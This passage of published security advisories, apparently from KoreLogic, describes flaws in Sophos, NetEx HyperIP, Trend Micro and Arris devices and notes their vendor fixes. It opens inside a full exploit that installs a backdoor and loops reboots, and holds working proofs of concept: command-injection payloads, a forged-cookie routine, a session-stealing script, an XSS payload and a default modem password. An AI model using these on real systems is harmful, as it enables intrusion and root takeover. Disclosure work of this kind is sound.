post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body) if r.status_code == 200: return True except ConnectionError: print '[!] Connection to target service failed.' exit(1) return False def send_reboot(self): print '[+] Sending reboot.' url = 'https://%s:8081/' % (self.target) post_body = dumps({"action":"reboot"}) try: r = post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body) except ConnectionError: print '[!] Connection to target service failed.' exit(1) return False class Exploit(HTTP): def __init__(self,target=None,noauthbypass=None, username=None,password=None,payload=None): self.target = target self.noauthbypass = noauthbypass self.username = username self.password = password self.payload = payload self.deb_name = '' self.cmd_name = '' self.backdoor_port = 0 self.session_token = 'AuroraSdnToken37' self.user_agent = choice(['Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1', 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10']) return None def drop_root(self): sleep(3) print '[+] Connected to backdoor.\n\t* For interactive root shell please run /var/lib/sdn/uploads/root-%s' % (self.cmd_name) system('nc %s %s' % (self.target,self.backdoor_port)) return False def run(self): if not self.is_service_token_enabled() or self.noauthbypass == True: print '[-] Authentication bypass failed or running with --no-auth-bypass. Attempting login.' if not self.get_session_token(): print '[!] Login failed. Exploit failed.' exit(1) else: print '[+] Authentication successfully bypassed.' if self.payload == 'rce-root': print '[-] Starting remote root exploit.' self.deb_name, self.cmd_name, self.backdoor_port = Backdoor().generate() if self.upload_deb(): if self.install_deb(): Thread(target=self.start_shell,args=(),name="shell-%s" % (self.cmd_name)).start() try: self.drop_root() except KeyboardInterrupt: print '[-] Disconnecting from backdoor.' return True if self.uninstall_deb(): print '[+] Backdoor removed.' else: print '[!] Could not remove backdoor.' return True else: print '[!] Failed to install backdoor.' exit(1) else: print '[!] Failed to upload backdoor.' exit(1) print "[-] Please remember to srm %s and the build directory %s/" % (self.deb_name,self.deb_name.replace('.deb','')) else: print '[-] Starting pulse reboot exploit.' while True: try: self.send_reboot() sleep(pulse_timer) except KeyboardInterrupt: print '[-] Reboot pulse Denial-of-Service stopped.' break return False if __name__=="__main__": print banner parser = OptionParser() parser.add_option("--target",dest="remote_ip",default='',help="Target IP address") parser.add_option("--no-auth-bypass",action="store_true",default=False,help="No authentication bypass") parser.add_option("--username",dest="username",default="sdn",help="Username (Default: sdn)") parser.add_option("--password",dest="password",default="skyline",help="Password (Default: skyline)") parser.add_option("--payload",dest="payload",default='rce-root',help="Payload: rce-root(default), pulse-reboot") o, a = parser.parse_args() if o.remote_ip != '': Exploit(target=o.remote_ip, noauthbypass=o.no_auth_bypass, username=o.username, password=o.password, payload=o.payload).run() else: print '[!] --target must be supplied.' ``` --- ## KL-001-2018-007: Sophos UTM 9 loginuser Privilege Escalation via confd Service URL: https://korelogic.com/advisories/KL-001-2018-007/ KL-001-2018-007 - Sophos UTM 9 loginuser Privilege Escalation via confd Service - Sophos UTM 9 Advisory ID: KL-001-2018-007 Published: 2018-03-02 Vendor: Sophos Product: UTM 9 Version: 9.410 Platform: Embedded Linux CWE: CWE-306 - Missing Authentication for Critical Function Discovered by: Matt Bergin ## References - [CWE-306 - Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [Signed advisory text](/advisories/KL-001-2018-007.txt) ## Vulnerability Description The attacker must know the password for the `loginuser` account. The `confd` client is not available to the `loginuser` account. However, the running service is accessible over a network port on the loopback interface. By replaying the network traffic required to obtain a SID from this service it is possible to escalate privileges to root. ## Technical Description 1. Obtain the a privileged session token. ```text $ ssh -Nf -L 127.0.0.1:4472:127.0.0.1:4472 loginuser@1.3.3.7 loginuser@1.3.3.7's password: $ python kl-loginuser-confd-priv_esc.py pojiZSqWEUAUDNIQtSop ``` 2. Using that session token, set the root password. ```http POST /webadmin.plx HTTP/1.1 Host: 1.3.3.7:4444 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.5.1.1 Content-Type: application/json; charset=UTF-8 Referer: https://1.3.3.7:4444/ Content-Length: 422 Cookie: SID=pojiZSqWEUAUDNIQtSop DNT: 1 Connection: close {"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic", "root_pw_2": "korelogic", "loginuser_pw_1": "loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}], "SID": "pojiZSqWEUAUDNIQtSop", "browser": "gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID": "1490305723111_0.8089407793028881", "current_uuid": "2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false} ``` ```http HTTP/1.1 200 OK Date: Thu, 23 Mar 2017 15:33:53 GMT Server: Apache Expires: Thursday, 01-Jan-1970 00:00:01 GMT Pragma: no-cache X-Frame-Options: SAMEORIGIN X-Content-Type-Option: nosniff X-XSS-Protection: 1; mode=block Vary: Accept-Encoding Connection: close Content-Type: application/json; charset=utf-8 Content-Length: 178895 {"SID":"pojiZSqWEUAUDNIQtSop","ipv6":false,"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",[snip over 9000] ``` 3. Look for success message. ```json "objs":[{"success":[{"text":"Shell user password(s) set successfully."}] ``` 4. Profit. ```text loginuser@[redacted]:/home/login > su Password: [redacted]:/home/login # id uid=0(root) gid=0(root) groups=0(root),890(xorp) ``` ## Mitigation and Remediation Recommendation The vendor has addressed this vulnerability in version 9.508. Release notes and download instructions can be found at: https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-508-released ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept ```python from socket import socket,AF_INET,SOCK_STREAM class Exploit: def __init__(self): self.host = '127.0.0.1' self.port = 4472 self.connected = False self.s = None return None def disconnect(self): self.s.close() return True def send_trigger(self): packet_one = '00000039050702000000050a0a43616c6c4d6574686f6404110b41737461726f3a3a52504303000000000a036765740a04697076360a06737461747573'.decode('hex') self.s.send(packet_one) self.s.recv(4096) packet_two = '00000099050702000000040a094e657748616e646c650a037379730a036e65770403000000060a0f636f6e66642d636c69656e742e706c00000006636c69656e7417000000000870617373776f72640a093132372e302e302e31000000066173675f69700a093132372e302e302e31000000026970170673797374656d00000008757365726e616d65170673797374656d00000008666163696c697479'.decode('hex') self.s.send(packet_two) self.s.recv(4096) packet_three = '0000002f05070200000003170a43616c6c4d6574686f6404110b41737461726f3a3a525043030000000017076765745f534944'.decode('hex') self.s.send(packet_three) print self.s.recv(4096).strip() return True def connect(self): self.s = socket(AF_INET, SOCK_STREAM) self.s.connect((self.host,self.port)) self.connected = True return True def run(self): self.connect() self.send_trigger() self.disconnect() return True if __name__=="__main__": Exploit().run() ``` --- ## KL-001-2018-002: NetEx HyperIP Authentication Bypass URL: https://korelogic.com/advisories/KL-001-2018-002/ KL-001-2018-002 - NetEx HyperIP Authentication Bypass - NetEx HyperIP Advisory ID: KL-001-2018-002 Published: 2018-02-08 Vendor: NetEx Product: HyperIP Version: 6.1.0 Platform: Embedded Linux CWE: CWE-592 - Authentication Bypass Issues Discovered by: Matt Bergin ## References - [CWE-592 - Authentication Bypass Issues](https://cwe.mitre.org/data/definitions/592.html) - [Signed advisory text](/advisories/KL-001-2018-002.txt) ## Vulnerability Description Authentication for the management application can be bypassed by recreating the algorithm used to create predictable valid cookies. ## Technical Description Authentication can be bypassed using the function below. ```python >>> from hashlib import md5 >>> from hmac import new >>> def bypass_auth(user,srcip): ... key = new('$#^Sub/s$',user+srcip,md5).hexdigest() ... token = new(key,user+srcip,md5).hexdigest() ... return token ... ``` The attacker first creates a cookie token. ```python >>> print bypass_auth('hipadmin','[redacted]') b6b73844ce4df64f459948c5475a1096 ``` Then the attacker can submit requests containing that value as the auth-token cookie, which will be trusted by the application. ## Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2018-003: NetEx HyperIP Post-Auth Command Execution URL: https://korelogic.com/advisories/KL-001-2018-003/ KL-001-2018-003 - NetEx HyperIP Post-Auth Command Execution - NetEx HyperIP Advisory ID: KL-001-2018-003 Published: 2018-02-08 Vendor: NetEx Product: HyperIP Version: 6.1.0 Platform: Embedded Linux CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CWE: CWE-250 - Execution with Unnecessary Privileges Discovered by: Matt Bergin ## References - [CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html) - [CWE-250 - Execution with Unnecessary Privileges](https://cwe.mitre.org/data/definitions/250.html) - [Signed advisory text](/advisories/KL-001-2018-003.txt) ## Vulnerability Description A command injection vulnerability can be leveraged to execute operating system commands. ## Technical Description A POST variable is handled unsafely, allowing execution of arbitrary commands with the privileges of the webserver process. In the below example, `set_val=` is used to copy an existing executable file into a writable directory. ```http POST /hypmisc.php HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 Cookie: auth-token=b6b73844ce4df64f459948c5475a1096 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 99 set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh /var/ftp/pub/updates/a.run)&perm=on&submit=Set ``` ```http HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 07:20:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1057 Connection: close Content-Type: text/html; charset=UTF-8 ``` ## Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2018-004: NetEx HyperIP Privilege Escalation Vulnerability URL: https://korelogic.com/advisories/KL-001-2018-004/ KL-001-2018-004 - NetEx HyperIP Privilege Escalation Vulnerability - NetEx HyperIP Advisory ID: KL-001-2018-004 Published: 2018-02-08 Vendor: NetEx Product: HyperIP Version: 6.1.0 Platform: Embedded Linux CWE: CWE-306 - Missing Authentication for Critical Function Discovered by: Matt Bergin ## References - [CWE-306 - Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [Signed advisory text](/advisories/KL-001-2018-004.txt) ## Vulnerability Description Privileges can be escalated by abusing writable paths found within the sudoers configuration file. ## Technical Description The run script is modified with the attack payload. ```http POST /hypmisc.php HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 Cookie: auth-token=b6b73844ce4df64f459948c5475a1096 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 90 set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set ``` ```http HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 07:21:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1048 Connection: close Content-Type: text/html; charset=UTF-8 ``` The attack payload can now be executed. ```http POST /hypmisc.php HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 Cookie: auth-token=b6b73844ce4df64f459948c5475a1096 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 91 set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set ``` ```http HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:06:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 1020 Connection: close Content-Type: text/html; charset=UTF-8 ``` The output can now be read from the `a.output` file, which is a separate arbitrary file read issue detailed in KL-001-2018-005. ```http GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 ``` ```html HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8

Show System Log [ Monday @ 08:07:51 ]

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  
``` ## Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2018-005: NetEx HyperIP Local File Inclusion Vulnerability URL: https://korelogic.com/advisories/KL-001-2018-005/ KL-001-2018-005 - NetEx HyperIP Local File Inclusion Vulnerability - NetEx HyperIP Advisory ID: KL-001-2018-005 Published: 2018-02-08 Vendor: NetEx Product: HyperIP Version: 6.1.0 Platform: Embedded Linux CWE: CWE-73 - External Control of File Name or Path Discovered by: Matt Bergin ## References - [CWE-73 - External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html) - [Signed advisory text](/advisories/KL-001-2018-005.txt) ## Vulnerability Description Local files can be included within the HTTP response given by logs.php ## Technical Description Any arbitrary file, such as the one created in KL-001-2018-004, can be returned by the `logs.php` script. ```http GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 ``` ```html HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8

Show System Log [ Monday @ 08:07:51 ]

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  
``` ## Mitigation and Remediation Recommendation The vendor has released version 6.1.1 of HyperIP, which they state addresses this vulnerability. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2018-006: Trend Micro IMSVA Management Portal Authentication Bypass URL: https://korelogic.com/advisories/KL-001-2018-006/ KL-001-2018-006 - Trend Micro IMSVA Management Portal Authentication Bypass - Trend Micro InterScan Mail Security Virtual Apppliance Advisory ID: KL-001-2018-006 Published: 2018-02-08 Vendor: Trend Micro Product: InterScan Mail Security Virtual Apppliance Version: 9.1.0.1600 Platform: Embedded Linux CWE: CWE-522 - Insufficiently Protected Credentials CWE: CWE-219 - Storage of File with Sensitive Data Under Web Root Discovered by: Matt Bergin ## References - [CWE-522 - Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html) - [CWE-219 - Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html) - [Signed advisory text](/advisories/KL-001-2018-006.txt) ## Vulnerability Description Any unauthenticated user can bypass the authentication process. ## Technical Description The web application is plugin-based and allows widgets to be loaded into the application. A plugin which is loaded by default stores a log file of events in a directory which can be accessed by unauthenticated users. Files within this directory (such as `/widget/repository/log/diagnostic.log`) which contain cookie values can then be read, parsed, and session information extracted. A functional exploit is shown below. ## Mitigation and Remediation Recommendation Trend Micro has released a Critical Patch update to the affected versions for this vulnerability. The advisory and links to the patch(es) are available from the following URL: https://success.trendmicro.com/solution/1119277 ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept ```python #!/usr/bin/python3 from argparse import ArgumentParser from ssl import _create_unverified_context from time import mktime from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener banner = '''Trendmicro IMSVA 9.1.0.1600 Management Portal Authentication Bypass {}'''.format('-'*67) class Exploit: def __init__(self, args): self.target_host = args.host self.target_port = args.port self.list_all = args.ls self.sessions = [] self.session_latest_time = None self.session_latest_id = None self.sessions_active = [] return None def is_target(self): url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port)) url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port)) if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200: try: urlopen(url_loginjsp, context=_create_unverified_context()) except HTTPError as e: if e.code == 403: return True else: return False return False def get_sessions(self): url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host, self.target_port)) vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context()) if vuln_obj.getcode() == 200: vuln_pagedata = vuln_obj.read() for line in vuln_pagedata.decode('utf8').split('\n'): if 'product_auth' in line and 'JSEEEIONID' in line: self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1])) else: return False return True def find_latest(self): for session in list(set(self.sessions)): year, month, day = session[0].split(' ')[0].split('-') hour, minute, second = session[0].split(' ')[1].split(':') session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0)) if self.session_latest_time is None: self.session_latest_time = session_time if session_time > self.session_latest_time: self.session_latest_time = session_time self.session_latest_id = session[1] if self.list_all: if self.is_session_alive(): self.sessions_active.append((self.session_latest_time, self.session_latest_id)) return True def is_session_alive(self): url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port)) opener = build_opener(HTTPSHandler(context=_create_unverified_context())) opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id))) console_obj = opener.open(url_consolepage) if console_obj.getcode() == 200: console_pagedata = console_obj.read().decode('utf8') if 'parent.location.href="/timeout.imss"' in console_pagedata: return False else: return False return True def run(self): if self.is_target(): if self.get_sessions(): print('[-] Leaked {} sessions'.format(len(self.sessions))) self.find_latest() if self.list_all and self.sessions_active: print('[+] Active sessions leaked.') sessions = [] for entry in list(set(self.sessions_active)): sessions.append(entry[1]) for session in list(set(sessions)): print('Set-Cookie: JSESSIONID={}'.format(session)) elif self.is_session_alive(): print('[+] Active session leaked.') print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id)) return True else: print('[-] {} sessions leaked but none are active.'.format(len(self.sessions))) return False else: return False else: return False return False if __name__ == '__main__': print(banner) arg_parser = ArgumentParser(add_help=False) arg_parser.add_argument('-H', '--help', action='help', help='Help') arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host') arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port') arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)') args = arg_parser.parse_args() Exploit(args).run() ``` --- ## KL-001-2018-001: Sophos Web Gateway Persistent Cross Site Scripting Vulnerability URL: https://korelogic.com/advisories/KL-001-2018-001/ KL-001-2018-001 - Sophos Web Gateway Persistent Cross Site Scripting Vulnerability - Sophos Web Gateway Advisory ID: KL-001-2018-001 Published: 2018-01-26 Vendor: Sophos Product: Web Gateway Version: 4.4.1 Platform: Embedded Linux CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE: CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) Discovered by: Matt Bergin ## References - [CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html) - [CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html) - [Signed advisory text](/advisories/KL-001-2018-001.txt) ## Vulnerability Description The report scheduler menu within the management portal contains a persistent cross site scripting vulnerability. This vulnerability can be used to target other users of the same portal. ## Technical Description A valid session is required to create the report with the persistent cross site scripting payload attached. An example attack payload has been included below. This payload is designed to trigger an alert box with the number one being displayed. ```http POST /index.php?c=report_scheduler HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.6.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 1190 DNT: 1 Connection: close action=save&STYLE=016a16896568739c11955632068abddd&data=%5b%7b%22%53%54%59%4c%45%22%3a%20%22%30%31%36%61%31%36%38%39%36%35%36%38%37%33%39%63%31%31%39%35%35%36%33%32%30%36%38%61%62%64%64%64%22%2c%20%22%63%62%5f%74%72%61%66%5f%70%65%72%66%22%3a%20%22%79%65%73%22%2c%20%22%73%62%5f%64%65%74%61%69%6c%65%64%5f%70%6f%6c%69%63%79%5f%63%6f%75%6e%74%22%3a%20%22%31%22%2c%20%22%73%62%5f%67%72%6f%75%70%73%22%3a%20%22%73%6f%70%68%6f%73%5f%73%77%61%5f%61%6c%6c%5f%64%65%70%61%72%74%6d%65%6e%74%73%22%2c%20%22%72%64%5f%73%63%68%65%64%75%6c%65%22%3a%20%22%64%61%69%6c%79%22%2c%20%22%73%62%5f%64%61%79%73%22%3a%20%22%37%22%2c%20%22%73%62%5f%77%65%65%6b%6c%79%5f%64%61%79%22%3a%20%22%4d%6f%6e%64%61%79%22%2c%20%22%74%78%74%5f%73%63%68%65%64%75%6c%65%5f%6e%61%6d%65%22%3a%20%22%74%65%73%74%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3b%3c%2f%73%63%72%69%70%74%3e%22%2c%20%22%63%62%5f%61%63%74%69%76%61%74%65%5f%73%63%68%65%64%75%6c%65%22%3a%20%22%79%65%73%22%2c%20%22%72%65%63%69%70%69%65%6e%74%73%22%3a%20%22%74%65%73%74%40%74%65%73%74%2e%61%73%64%61%73%64%22%2c%20%22%73%63%68%65%64%75%6c%65%5f%69%64%22%3a%20%22%64%47%56%7a%64%41%3d%3d%22%2c%20%22%6f%77%6e%65%72%22%3a%20%22%61%64%6d%69%6e%22%7d%5d ``` ```http HTTP/1.1 200 OK Date: Sat, 29 Jul 2017 16:05:25 GMT Server: Apache Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 41 {"status":0,"statusMsg":"Settings saved"} ``` The URL-encoded input being passed in input parameter can be decoded to a array containing a single JSON buffer. ```json [ { "STYLE": "016a16896568739c11955632068abddd", "cb_traf_perf": "yes", "sb_detailed_policy_count": "1", "sb_groups": "sophos_swa_all_departments", "rd_schedule": "daily", "sb_days": "7", "sb_weekly_day": "Monday", "txt_schedule_name": "test", "cb_activate_schedule": "yes", "recipients": "test@test.asdasd", "schedule_id": "dGVzdA==", "owner": "admin" } ] ``` Within the JSON buffer is a key called `txt_schedule_name`. The value for this key is the name of the scheduled report. This value is included in the report schedule list. ```json "txt_schedule_name": "test" ``` The HTML tags are then stored. When the report schedule is viewed, the resulting JSON is sent as content-type `text/html` instead of `application/json`, causing the browser to execute any unescaped javascript it contains. The output is HTML-encoded with the exception of the `txt_schedule_name`: value which is not sanitized, and the payload triggers. ```http POST /index.php?c=report_scheduler HTTP/1.1 Host: 1.3.3.7 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.6.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 81 DNT: 1 Connection: close action=load&sortKey=name&sortDirection=asc&STYLE=016a16896568739c11955632068abddd ``` ```http HTTP/1.1 200 OK Date: Sat, 29 Jul 2017 16:06:38 GMT Server: Apache Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1365 {"sortKey":"name","sortDirection":"asc","schedulesJS":[{"STYLE":"016a16896568739c11955632068abddd","cb_traf_perf":"yes","sb_detailed_policy_count":"1","sb_groups":"sophos_swa_all_departments","rd_schedule":"daily","sb_days":"7","sb_weekly_day":"Monday","txt_schedule_name":"test ``` --- ## KL-001-2016-001: Arris DG1670A Cable Modem Remote Command Execution URL: https://korelogic.com/advisories/KL-001-2016-001/ KL-001-2016-001 - Arris DG1670A Cable Modem Remote Command Execution - Arris Cable Modem Advisory ID: KL-001-2016-001 Published: 2016-02-12 Vendor: Arris Product: Cable Modem Version: DG1670A, TG1670 Platform: Embedded Linux CWE: CWE-73 - External Control of File Name or Path CWE: CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection') CWE: CWE-522 - Insufficiently Protected Credentials Discovered by: Matt Bergin, Hank Leininger ## References - [CWE-73 - External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html) - [CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html) - [CWE-522 - Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html) - [Signed advisory text](/advisories/KL-001-2016-001.txt) ## Vulnerability Description The Arris DG1670A leverages a combination of technologies to deliver the product functionality. Combining several of these technologies in an unanticipated way will allow an attacker to execute arbitrary commands on the underlying operating system as the most privileged user. ## Technical Description Use the password: `JhAkuo18` On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. The repository had firmware images for popular cable modems. Repository: https://github.com/GuerrillaWarfare/Junkyard Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img Below is the directory content of the squashfs-root directory contained within the image: ```bash # ls bin etc gw.fsname include linuxrc nvram sbin share tmp var version dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop ``` The default IP address assigned to Arris modems is 192.168.100.1 and is routable from networks where the modem is attached. Below is a Nmap output of services listening on the default IP address: ```bash # sudo nmap -T5 -sU -sT -p- 192.168.100.1 Nmap scan report for 192.168.100.1 Host is up (0.0053s latency). PORT STATE SERVICE VERSION 80/tcp open http lighttpd 443/tcp open ssl/http lighttpd 2602/tcp open ripd? 8080/tcp open http lighttpd ``` A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if we grep through the content of this file system there are several .conf files containing passwords. One of the files containing passwords is `zebra.conf`, which can be used to authenticate to the Quagga telnet console. ```bash # grep -ri "password" *.conf|more etc/default/ripngd.conf:password JhAkuo18 etc/default/zebra.conf:password JhAkuo18 etc/default/ripd.conf:password JhAkuo18 ``` ```bash $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT> ``` Entering a '?' at any point gives context-sensitive help text. There are several layers of 'privilege' though there are no restrictions on elevating on this device. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In the case described, it has been implemented on a cable modem to facilitate route provisioning from local ISP to the public internet. ```text PROMPT> ? echo Echo a message back to the vty enable Turn on privileged mode command exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty PROMPT> enable PROMPT# ? clear Reset functions configure Configuration from vty interface copy Copy configuration debug Debugging functions (see also 'undebug') disable Turn off privileged mode command echo Echo a message back to the vty end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list logmsg Send a message to enabled logging destinations no Negate a command or set its defaults quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty write Write running configuration to memory, network, or terminal PROMPT# configure ? terminal Configuration terminal PROMPT# configure terminal PROMPT(config)# ? access-list Add an access list entry banner Set banner string debug Debugging functions (see also 'undebug') enable Modify enable password parameters end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system hostname Set system's network name interface Select an interface to configure ip IP information ipv6 IPv6 information key Authentication key management line Configure a terminal line list Print command list log Logging control no Negate a command or set its defaults password Assign the terminal connection password quit Exit current mode and down to previous mode route-map Create route-map or enter route-map command mode router Enable a routing process service Set up miscellaneous service show Show running system information write Write running configuration to memory, network, or terminal ``` The service message of the day banner can be abused to allow for arbitrary file reading. Also, the logging mechanism can be abused to allow for meaningful writes. The combination of these factors, along with a lack of shell metacharacter filtering, will be used to obtain remote command execution. ```text PROMPT(config)# banner motd file ? file Banner from a file PROMPT(config)# log file ? FILENAME Logging filename PROMPT(config)# exit PROMPT# log notifications ? MESSAGE The message to send ``` Reading arbitrary files: ```text PROMPT(config)# banner motd file /etc/shadow # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7::: User Access Verification Password: ``` This password hash cracks to the word arris. Meaningful file writes: ```text PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/kore-log.txt 